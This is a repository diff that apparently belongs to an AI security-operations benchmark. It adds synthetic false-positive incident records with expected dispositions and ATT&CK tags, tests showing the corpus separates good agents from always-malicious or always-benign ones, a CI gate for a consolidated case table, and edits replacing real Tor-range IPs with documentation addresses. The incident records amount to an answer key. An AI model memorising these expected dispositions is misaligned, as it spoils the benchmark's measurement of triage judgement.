"INC-FP-002-R4",+ "provenance": "synthetic",+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "description": "Periodic outbound HTTPS matching a threat-intel indicator.",+ "severity": "critical",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1071.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "C2 beacon to malware-c2.example.net from WIN-FIN-09",+ "severity": "critical"+ },+ "telemetry": [+ {+ "source": "proxy",+ "src_host": "LIN-CI-09",+ "dst_domain": "malware-c2.example.net",+ "interval_seconds": 300,+ "bytes_out": 412+ },+ {+ "source": "threatintel",+ "indicator": "malware-c2.example.net",+ "note": "Sinkholed by the registrar in 2024; the IOC feed never expired the entry.",+ "first_seen": "2023-11-02",+ "sinkholed": true+ }+ ]+ },+ {+ "id": "INC-FP-003-R1",+ "provenance": "synthetic",+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "description": "620 failed authentications in ten minutes.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1110.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A"+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config."+ }+ ]+ },+ {+ "id": "INC-FP-003-R2",+ "provenance": "synthetic",+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "description": "620 failed authentications in ten minutes.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1110.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A"+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config."+ }+ ]+ },+ {+ "id": "INC-FP-003-R3",+ "provenance": "synthetic",+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "description": "620 failed authentications in ten minutes.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1110.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A"+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config."+ }+ ]+ },+ {+ "id": "INC-FP-003-R4",+ "provenance": "synthetic",+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "description": "620 failed authentications in ten minutes.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1110.001"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Brute force against svc-monitoring from 198.51.100.90",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "windows_event",+ "EventID": 4625,+ "TargetUserName": "svc-monitoring",+ "IpAddress": "198.51.100.90",+ "failure_count": 620,+ "Status": "0xC000006A"+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.90",+ "hostname": "nagios-01.example.com",+ "note": "Credential rotated 2026-03-03; the monitoring host kept the old secret in its config."+ }+ ]+ },+ {+ "id": "INC-FP-004-R1",+ "provenance": "synthetic",+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "description": "Large sustained outbound transfer to an external address.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1048"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_host": "WIN-HR-08",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ }+ ]+ },+ {+ "id": "INC-FP-004-R2",+ "provenance": "synthetic",+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "description": "Large sustained outbound transfer to an external address.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1048"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_host": "LIN-DATA-11",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ }+ ]+ },+ {+ "id": "INC-FP-004-R3",+ "provenance": "synthetic",+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "description": "Large sustained outbound transfer to an external address.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1048"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_host": "WIN-OPS-22",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ }+ ]+ },+ {+ "id": "INC-FP-004-R4",+ "provenance": "synthetic",+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "description": "Large sustained outbound transfer to an external address.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1048"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Data exfiltration: 14 GB uploaded from LIN-APP-12",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "netflow",+ "src_host": "LIN-EDGE-02",+ "dst_ip": "198.51.100.200",+ "bytes_out": 15032385536,+ "duration_minutes": 46+ },+ {+ "source": "asset_inventory",+ "ip": "198.51.100.200",+ "hostname": "artifact-mirror.example.com",+ "note": "Internal artifact mirror. Classified external by the rule because it sits outside the RFC1918 ranges the rule checks."+ }+ ]+ },+ {+ "id": "INC-FP-005-R1",+ "provenance": "synthetic",+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "description": "Office application spawned a command shell.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1566.001",+ "T1059.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-LEG-14",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": "cmd.exe /c \"C:\\Legal\\merge-templates.bat\"",+ "User": "EXAMPLE\\r.devlin"+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021."+ }+ ]+ },+ {+ "id": "INC-FP-005-R2",+ "provenance": "synthetic",+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "description": "Office application spawned a command shell.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1566.001",+ "T1059.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "LIN-CI-09",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": "cmd.exe /c \"C:\\Legal\\merge-templates.bat\"",+ "User": "EXAMPLE\\r.devlin"+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021."+ }+ ]+ },+ {+ "id": "INC-FP-005-R3",+ "provenance": "synthetic",+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "description": "Office application spawned a command shell.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1566.001",+ "T1059.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-DB-31",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": "cmd.exe /c \"C:\\Legal\\merge-templates.bat\"",+ "User": "EXAMPLE\\r.devlin"+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021."+ }+ ]+ },+ {+ "id": "INC-FP-005-R4",+ "provenance": "synthetic",+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "description": "Office application spawned a command shell.",+ "severity": "high",+ "expected_disposition": "false_positive",+ "expected_techniques": [+ "T1566.001",+ "T1059.003"+ ],+ "expected_actions": [],+ "raw_alert": {+ "title": "Suspicious parent-child: winword.exe spawning cmd.exe on WIN-LEG-03",+ "severity": "high"+ },+ "telemetry": [+ {+ "source": "sysmon",+ "EventID": 1,+ "Computer": "WIN-FIN-03",+ "Image": "C:\\Windows\\System32\\cmd.exe",+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",+ "CommandLine": "cmd.exe /c \"C:\\Legal\\merge-templates.bat\"",+ "User": "EXAMPLE\\r.devlin"+ },+ {+ "source": "vcs",+ "note": "merge-templates.bat is a reviewed document-assembly macro deployed to the legal OU in 2021."+ }+ ]}]}diff --git a/packages/aisoc-benchmark/tests/test_corpus_can_grade.py b/packages/aisoc-benchmark/tests/test_corpus_can_grade.pynew file mode 100644index 000000000..85a060b98--- /dev/null+++ b/packages/aisoc-benchmark/tests/test_corpus_can_grade.py@@ -0,0 +1,168 @@+"""The corpus can tell a good agent from a bad one.++Gap-closure wave 2.++Before this, every labelled corpus in the repository was malicious by+construction, and the benchmark corpus only appeared not to be:+`build_corpus._disposition` derived a "benign" class from+``response_class == "monitor"``, and those eight incidents are+BloodHound domain enumeration tagged T1087.002. A real attack with a+monitoring response is not a benign event.++The consequence is the thing this file pins. **An agent that answers+"true positive" to everything, without reading anything, used to score+1.000.** It now scores 0.727, and the gap between that and 1.000 is the+only reason any accuracy figure from this corpus means something.++Vocabulary was broken too, separately and silently: the corpus used+``malicious | suspicious | benign`` while `replay` grades+``true_positive | benign_true_positive | false_positive | benign``.+One label of four in common, so the corpus was ungradeable by this+package's own scorer and nothing anywhere noticed.+"""++from __future__ import annotations++import json+import re+from pathlib import Path+from collections.abc import Callable+from typing import Any++import pytest+from aisoc_benchmark.replay import GRADED_DISPOSITIONS, MALICIOUS, score_replay++CORPUS = Path(__file__).resolve().parents[1] / "corpus" / "soc-agent-benchmark-v1.json"+++def _incidents() -> list[dict[str, Any]]:+ raw = json.loads(CORPUS.read_text(encoding="utf-8"))+ items = raw if isinstance(raw, list) else next((v for v in raw.values() if isinstance(v, list)), [])+ assert items, "the corpus is empty — this suite would prove nothing"+ return items+++def _grade(verdict_for: Callable[[dict[str, Any]], str]) -> dict[str, Any]:+ decisions = [+ {+ "expected_disposition": i["expected_disposition"],+ "verdict": verdict_for(i),+ "labelled": True,+ "evidence": {},+ "findings": [],+ }+ for i in _incidents()+ ]+ return score_replay(decisions).as_dict()+++class TestTheCorpusHasMoreThanOneAnswer:+ def test_it_carries_a_real_benign_class(self) -> None:+ labels = {i["expected_disposition"] for i in _incidents()}+ assert "benign" in labels+ assert "false_positive" in labels++ def test_benign_and_false_positive_are_distinguished(self) -> None:+ """They need different actions: a stream of `benign` means tuning+ an allowlist, a stream of `false_positive` means fixing a rule.+ A single "not malicious" label loses that."""+ counts = dict.fromkeys(GRADED_DISPOSITIONS, 0)+ for i in _incidents():+ counts[i["expected_disposition"]] = counts.get(i["expected_disposition"], 0) + 1+ assert counts["benign"] > 0+ assert counts["false_positive"] > 0++ def test_every_label_is_in_the_canonical_vocabulary(self) -> None:+ """The corpus used `malicious | suspicious | benign`, which shares+ exactly one label with what `replay` grades."""+ for incident in _incidents():+ assert incident["expected_disposition"] in GRADED_DISPOSITIONS, (+ f"{incident['id']} is labelled {incident['expected_disposition']!r}, which score_replay cannot grade"+ )++ def test_the_minority_class_clears_the_gradeability_floor(self) -> None:+ """`score_replay_set.assert_gradeable` refuses a corpus whose+ smallest class is under 5%, because that reports the base rate+ rather than the agent."""+ incidents = _incidents()+ counts: dict[str, int] = {}+ for i in incidents:+ counts[i["expected_disposition"]] = counts.get(i["expected_disposition"], 0) + 1+ assert min(counts.values()) / len(incidents) >= 0.05+++class TestItSeparatesAgents:+ """Four reference agents, four distinct scores. If any two collapsed+ onto the same number the corpus would not be measuring judgement."""++ def test_answering_malicious_to_everything_no_longer_scores_perfectly(self) -> None:+ """The headline result of this wave. This was 1.000."""+ score = _grade(lambda i: MALICIOUS)+ assert score["headline_accuracy"] == pytest.approx(0.727, abs=0.01)+ assert score["malicious_recall"] == 1.0, "it still catches everything, trivially"+ assert score["malicious_precision"] == pytest.approx(0.727, abs=0.01), "and the precision is what exposes it"++ def test_answering_benign_to_everything_scores_badly(self) -> None:+ """The other direction. A corpus that only punished one failure+ mode would be half a corpus."""+ score = _grade(lambda i: "benign")+ assert score["headline_accuracy"] == pytest.approx(0.182, abs=0.01)+ assert score["malicious_recall"] == 0.0++ def test_a_perfect_agent_scores_perfectly(self) -> None:+ """The negative control for every assertion above: without it,+ a corpus nobody can score would satisfy them all."""+ score = _grade(lambda i: i["expected_disposition"])+ assert score["headline_accuracy"] == 1.0+ assert score["malicious_recall"] == 1.0+ assert score["malicious_precision"] == 1.0++ def test_guessing_lands_between_the_two(self) -> None:+ score = _grade(lambda i: MALICIOUS if hash(i["id"]) % 2 else "benign")+ assert 0.3 < score["headline_accuracy"] < 0.9++ def test_per_class_recall_is_reported_for_the_benign_classes(self) -> None:+ """Not just the headline. An agent can hold accuracy up on the+ majority class while never once identifying a false positive,+ and the per-class figures are where that shows."""+ score = _grade(lambda i: MALICIOUS)+ by_label = {c["label"]: c for c in score["per_class"]}+ assert by_label["false_positive"]["recall"] == 0.0+ assert by_label["benign"]["recall"] == 0.0+++class TestTheBenignCasesAreRealistic:+ """A benign corpus of obviously boring events measures formatting,+ not judgement. Each of these must plausibly fire a detection."""++ def test_benign_cases_carry_attack_techniques(self) -> None:+ """They look like attacks — that is the point. A benign case+ tagged with no technique is one no rule would have raised."""+ benign = [i for i in _incidents() if i["expected_disposition"] in ("benign", "false_positive") and i["id"].startswith("INC-")]+ with_techniques = [i for i in benign if i.get("expected_techniques")]+ assert len(with_techniques) / len(benign) > 0.9++ def test_benign_cases_span_severities(self) -> None:+ """Including critical. A benign class that is uniformly low+ severity is separable on severity alone."""+ severities = {i["severity"] for i in _incidents() if i["expected_disposition"] in ("benign", "false_positive")}+ assert "critical" in severities+ assert len(severities) >= 2++ def test_no_routable_address_ships_in_the_corpus(self) -> None:+ """RFC 5737 documentation ranges only. A corpus carrying a real+ address eventually gets somebody scanned."""+ text = CORPUS.read_text(encoding="utf-8")+ for octets in re.findall(r"\b(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.\d{1,3}\b", text):+ a, b, c = (int(x) for x in octets)+ documentation = (+ (a, b, c) in {(192, 0, 2), (198, 51, 100), (203, 0, 113)}+ or a == 10+ or (a == 192 and b == 168)+ or (a == 172 and 16 <= b <= 31)+ or a == 127+ or a >= 224+ or (a, b) == (169, 254)+ or (a, b) == (198, 18)+ )+ assert documentation, f"{a}.{b}.{c}.x is outside the documentation and private ranges"diff --git a/scripts/check_one_case_table.py b/scripts/check_one_case_table.pynew file mode 100644index 000000000..7fdb42819--- /dev/null+++ b/scripts/check_one_case_table.py@@ -0,0 +1,221 @@+#!/usr/bin/env python3+"""Refuse a second case table, and refuse a second status vocabulary.++Gap-closure wave 1.++The product shipped with two case tables that never synchronised. The+console wrote `aisoc_cases`; `resolution_time`, `metrics`, `insights`,+`executive_digest`, `mssp_portfolio` and the GraphQL layer all read+`cases`. **Every case an analyst created was invisible to every case+metric** — MTTR could sit at null while a tenant closed cases all week.++Nothing failed. Both tables existed, both sets of queries were valid,+and the only symptom was a number that stayed empty for a reason no+error message gave. That is what this gate exists to make loud.++Two questions, because the split had two halves+-------------------------------------------------+**One table.** No module may read or write `cases` as a bare table name.+Migration 083 renamed it `cases_pre_consolidation`, which is allowed:+keeping the pre-consolidation rows readable is deliberate, since a+migration that lost a row nobody noticed is worse than two tables.++**One vocabulary.** The readers filtered `status == "open"` and+`status == "in_progress"`, neither of which the console's state machine+can produce, so those counters were structurally zero. Status literals+now come from `app.services.case_status`, and a bare literal outside+that module is refused.++The second check is the one that matters more. Consolidating the tables+without consolidating the vocabulary would leave the counters just as+wrong, on one table instead of two.+"""++from __future__ import annotations++import argparse+import re+import sys+from pathlib import Path++sys.path.insert(0, str(Path(__file__).resolve().parent))++from gate_toolkit import repo_root, self_test_if_requested # noqa: E402++self_test_if_requested(__file__)++# Ask git which tree this is, rather than counting directories above this+# file. Two levels up is whatever happens to be there — a worktree, a+# tarball, a container build context — and a gate that certifies the+# wrong tree is worse than one that fails.+ROOT = repo_root()++#: The table that no longer exists under this name.+RETIRED_TABLE = "cases"+SURVIVING_TABLE = "aisoc_cases"++#: `cases_pre_consolidation` is the deliberate archive, and `aisoc_cases`+#: obviously contains the substring. Neither must match.+#:+#: Case-sensitive on the keyword, which is what separates SQL from prose.+#: The first draft was case-insensitive and flagged the comment "Create+#: and update cases" in a permissions seed, plus two English sentences+#: reading "from cases the tenant actually closed". A gate with false+#: positives is a gate people learn to skip.+_BARE_TABLE_RE = re.compile(r"\b(?:FROM|JOIN|INTO|UPDATE)\s+cases\b(?!_pre_consolidation)")++#: A table name reached through interpolation rather than written out.+#:+#: `for table in ("alerts", "cases", "connectors")` building+#: `f"DELETE FROM {table}"` is invisible to the pattern above, and that+#: is where the last surviving reference hid — found by CI against real+#: Postgres, twice, after the literal search came back clean.+#:+#: Narrow on purpose. The first version matched any `"cases"` string+#: before a comma or bracket and produced 22 findings, every one a+#: false positive: a route prefix, a saved-view type, a permission+#: resource, a UI label. A file only qualifies if it *also* interpolates+#: a name straight into a SQL verb, which is the thing that makes a+#: string in a list become a table.+_TABLE_LIST_RE = re.compile(r"""["']cases["']\s*(?=[,)\]])""")+_SQL_INTERPOLATION_RE = re.compile(+ r"""(?:FROM|JOIN|INTO|UPDATE|TABLE)\s+\{""",+ re.IGNORECASE,+)++#: Comments are stripped before matching, so prose describing the change+#: does not trip the check on the change.+_PY_COMMENT_RE = re.compile(r"#.*$")+_SQL_COMMENT_RE = re.compile(r"--.*$")+++def _without_comments(line: str, suffix: str) -> str:+ return (_SQL_COMMENT_RE if suffix == ".sql" else _PY_COMMENT_RE).sub("", line)+++#: Status strings the console's machine can never produce. Finding one of+#: these is proof a reader is using the pre-consolidation vocabulary.+IMPOSSIBLE_STATUSES = ("open", "in_progress")++_STATUS_LITERAL_RE = re.compile(+ r"""(?:Case\.status\s*==\s*|["']status["']\s*:\s*)["'](\w+)["']""",+)++#: Where the vocabulary is allowed to be spelled out.+VOCABULARY_OWNER = "services/api/app/services/case_status.py"++#: Files that legitimately name the retired table: the migration that+#: retires it, and this gate. Each entry is checked to still match+#: something, so a stale exemption is a failure rather than dead weight.+ALLOWED: dict[str, str] = {+ "services/api/migrations/083_one_case_table.sql": ("the consolidation itself — it must name the table it is retiring"),+}+++def _tracked_sources() -> list[Path]:+ out: list[Path] = []+ for pattern in ("services/**/*.py", "services/**/*.sql", "scripts/**/*.py"):+ for path in ROOT.glob(pattern):+ if "__pycache__" in path.parts:+ continue+ # Tests are **not** excluded. The first draft skipped them,+ # and four live references survived in+ # `test_resolution_time_parity.py` and+ # `test_mssp_portfolio_isolation.py` — found by CI against+ # real Postgres rather than by the gate written to find+ # exactly that. A test that seeds the retired table is a+ # test asserting the consolidation did not happen.+ out.append(path)+ return sorted(out)+++def find_retired_table_reads(paths: list[Path]) -> list[str]:+ findings: list[str] = []+ for path in paths:+ rel = str(path.relative_to(ROOT))+ if rel in ALLOWED:+ continue+ try:+ text = path.read_text(encoding="utf-8")+ except (OSError, UnicodeDecodeError):+ continue+ for number, raw in enumerate(text.splitlines(), 1):+ line = _without_comments(raw, path.suffix)+ if _TABLE_LIST_RE.search(line) and _SQL_INTERPOLATION_RE.search(text):+ findings.append(+ f"[interpolated-table] {rel}:{number} puts {RETIRED_TABLE!r} in a list of table "+ f"names. Interpolated into SQL it reads the retired table just as surely as "+ f"writing it out; use {SURVIVING_TABLE!r}"+ )+ if _BARE_TABLE_RE.search(line):+ findings.append(+ f"[retired-table] {rel}:{number} queries `{RETIRED_TABLE}`, which migration 083 "+ f"renamed. Read `{SURVIVING_TABLE}` — this is how every case metric came to be "+ "blind to the cases analysts actually create"+ )+ return findings+++def find_impossible_statuses(paths: list[Path]) -> list[str]:+ findings: list[str] = []+ for path in paths:+ rel = str(path.relative_to(ROOT))+ if rel in (VOCABULARY_OWNER, "scripts/check_one_case_table.py"):+ continue+ if not rel.endswith(".py") or not rel.startswith("services/api/app/"):+ # A connector describing its own vendor finding as "open" is+ # not speaking this vocabulary, and flagging it would teach a+ # reader the gate does not know what it is looking at.+ continue+ try:+ text = path.read_text(encoding="utf-8")+ except (OSError, UnicodeDecodeError):+ continue+ for number, raw in enumerate(text.splitlines(), 1):+ line = _without_comments(raw, path.suffix)+ for match in _STATUS_LITERAL_RE.finditer(line):+ if match.group(1) in IMPOSSIBLE_STATUSES:+ findings.append(+ f"[impossible-status] {rel}:{number} filters case status "+ f"{match.group(1)!r}, which the console's state machine cannot produce, so "+ "this counter is structurally zero. Use app.services.case_status"+ )+ return findings+++def find_stale_exemptions(paths: list[Path]) -> list[str]:+ """An exemption that no longer covers anything is a lie about the tree."""+ findings: list[str] = []+ for rel, reason in ALLOWED.items():+ path = ROOT / rel+ if not path.exists():+ findings.append(f"[stale-exemption] {rel} is exempted ({reason}) and does not exist")+ continue+ content = "\n".join(_without_comments(line, path.suffix) for line in path.read_text(encoding="utf-8").splitlines())+ if not _BARE_TABLE_RE.search(content):+ findings.append(f"[stale-exemption] {rel} is exempted ({reason}) but no longer names the retired table — remove the entry")+ return findings+++def main() -> int:+ parser = argparse.ArgumentParser(description=__doc__)+ parser.parse_args()++ paths = _tracked_sources()+ if not paths:+ print("check_one_case_table: no sources found — refusing to report a tree clean", file=sys.stderr)+ return 2++ findings = find_retired_table_reads(paths) + find_impossible_statuses(paths) + find_stale_exemptions(paths)+ if findings:+ print(f"FAIL — {len(findings)} finding(s):")+ for finding in findings:+ print(f" {finding}")+ return 1++ print(f"check_one_case_table: OK — {len(paths)} files, one case table and one status vocabulary")+ return 0+++if __name__ == "__main__":+ sys.exit(main())diff --git a/scripts/check_python_route_state.py b/scripts/check_python_route_state.pyindex eb51c3371..ab0fb32c7 100644--- a/scripts/check_python_route_state.py+++ b/scripts/check_python_route_state.py@@ -83,14 +83,11 @@ ALLOWED_GLOBALS: dict[tuple[str, str], str] = {"re-emits a log line, which is the correct behaviour for a new process."),# ── Caches of a static artefact ────────────────────────────────────────- (- "services/api/app/api/v1/endpoints/marketplace.py",- "_installed",- ): (- "Marketplace installs are in-process and lost on restart, which the feature- "- "completeness audit records as a known gap. Parity plan 5.4 makes install write rows "- "that fusion reads, which is where this gets a table."- ),+ #+ # `_installed` was here, excused on the grounds that installs being+ # lost on restart was "a known gap" a later plan would close. It is+ # closed: install state lives in `marketplace_installs`, the table+ # migration 056 created for it and nothing had ever read or written.("services/api/app/api/v1/endpoints/marketplace.py","_index_cache",diff --git a/scripts/detection_specs.py b/scripts/detection_specs.pyindex 9c7680f43..e4cd4f624 100644--- a/scripts/detection_specs.py+++ b/scripts/detection_specs.py@@ -348,7 +348,7 @@ CLOUD: list[dict] = ["match_when": {"risk_event_type": "anonymizedIPAddress"},"fp": ["Researchers using Tor for testing (must be tagged research-account)"],"playbook": "tpl-account-compromise",- "positive": {"risk_event_type": "anonymizedIPAddress", "user": "[email protected]", "src_ip": "185.220.101.5"},+ "positive": {"risk_event_type": "anonymizedIPAddress", "user": "[email protected]", "src_ip": "198.51.100.5"},"negative": {"risk_event_type": "atypicalTravel", "user": "[email protected]", "src_ip": "98.97.96.95"},},{diff --git a/scripts/detection_specs_part2.py b/scripts/detection_specs_part2.pyindex f34152fa9..a3ed3a6ab 100644--- a/scripts/detection_specs_part2.py+++ b/scripts/detection_specs_part2.py@@ -646,7 +646,7 @@ NETWORK: list[dict] = ["match_when": {"dst_ip_in_tor_list": True},"fp": ["Researcher / red team workstation (allowlist src)"],"playbook": "tpl-c2",- "positive": {"dst_ip_in_tor_list": True, "src_host": "wks-001", "dst_ip": "185.220.101.5"},+ "positive": {"dst_ip_in_tor_list": True, "src_host": "wks-001", "dst_ip": "198.51.100.5"},"negative": {"dst_ip_in_tor_list": False, "src_host": "wks-001", "dst_ip": "1.1.1.1"},},{diff --git a/scripts/detection_specs_part3_helpers.py b/scripts/detection_specs_part3_helpers.pyindex 4f5ed5d0c..f23eb3c1e 100644--- a/scripts/detection_specs_part3_helpers.py+++ b/scripts/detection_specs_part3_helpers.py@@ -142,8 +142,64 @@ def _pos_for(op: str, expected: Any) -> Any:return expected-def _neg_for(op: str, expected: Any) -> Any:- """Return a value that breaks the (op, expected) clause."""+# ── Realistic negatives ───────────────────────────────────────────────────+#+# A negative fixture of `{"event_type": "not-process_create"}` proves the+# rule ignores a value that cannot occur. It says nothing about whether+# the rule fires on *realistic benign traffic*, which is what a false+# positive actually is — so 423 of the 878 negatives were testing a+# property nobody cares about.+#+# The fields carrying them are enumerated: `event_type` (267 of them),+# `event_name` (54), `syscall` (50), and a tail of `action`, `verb`,+# `operation_name`. Each takes values from a known vocabulary, so the+# right negative is **another real value from that vocabulary** — the+# other thing this log source genuinely emits.+#+# Harvested from the corpus rather than hand-listed, so it stays correct+# as rules are added and cannot drift from what the positives claim the+# field holds.++_FIELD_VOCABULARY: dict[str, list[str]] = {}+++def register_field_value(field: str, value: Any) -> None:+ """Record a real value seen for `field` in a positive fixture."""+ if not isinstance(value, str) or not value or value.startswith("not-"):+ return+ seen = _FIELD_VOCABULARY.setdefault(field, [])+ if value not in seen:+ seen.append(value)+++def realistic_alternative(field: str, expected: Any) -> Any | None:+ """A different real value for this field, or None if none is known.++ Deterministic: the vocabulary is ordered by first appearance and the+ choice is the first entry that differs, so regenerating the corpus+ does not churn the fixtures.+ """+ if not isinstance(expected, str):+ return None+ for candidate in _FIELD_VOCABULARY.get(field, []):+ if candidate != expected:+ return candidate+ return None+++def _neg_for(op: str, expected: Any, field: str | None = None) -> Any:+ """Return a value that breaks the (op, expected) clause.++ Prefers a *real* alternative value for the field over a synthetic+ `not-<value>` string: a negative built from something the log source+ genuinely emits tests what a false positive actually is, where a+ negative built from an impossible value tests only that the matcher+ does string comparison.+ """+ if field is not None:+ alternative = realistic_alternative(field, expected)+ if alternative is not None and op in {"eq", "in", "match_any", "contains", "contains_any", "contains_all"}:+ return alternativeif op == "neq":# The inverse of neq is equality, so the negative carries the# excluded value. That is the clause the rule is *about*, which is@@ -432,6 +488,10 @@ def build_positive(when: dict[str, Any]) -> dict[str, Any]:if len(constraints) == 1:op, exp = constraints[0]pos[field] = _pos_for(op, exp)+ # Every real value a positive fixture uses joins the field's+ # vocabulary, so a later rule's negative can be built from+ # something this log source genuinely emits.+ register_field_value(field, pos[field])else:pos[field] = _compose_field_value(constraints)@@ -496,7 +556,7 @@ def build_negative(neg_field, target_op = split_op(first_key)target_expected = when[first_key]- neg[neg_field] = _neg_for(target_op, target_expected)+ neg[neg_field] = _neg_for(target_op, target_expected, neg_field)return negdiff --git a/scripts/generate_eval_incidents.py b/scripts/generate_eval_incidents.pyindex 83232e886..4dd635575 100644--- a/scripts/generate_eval_incidents.py+++ b/scripts/generate_eval_incidents.py@@ -107,15 +107,27 @@ USERS = []+# Documentation ranges only (RFC 5737) plus RFC 1918.+#+# Three real routable addresses shipped here for a long time —+# 185.220.101.7 (a known Tor exit range), 45.142.122.111 and+# 91.134.231.15 — reaching 138 occurrences across the generated corpus,+# which is published and read by third-party agents through the+# benchmark adapter. Two problems with that: an agent exercised on this+# corpus can propose blocking an address that belongs to somebody, and a+# reader who takes the corpus at face value may go and scan them.+#+# A detection corpus is a place where fabricated addresses are the+# correct choice, and these three were the only ones that were not.ATTACKER_IPS = ["192.168.1.100","10.0.99.42","172.16.50.7","203.0.113.45","198.51.100.23",- 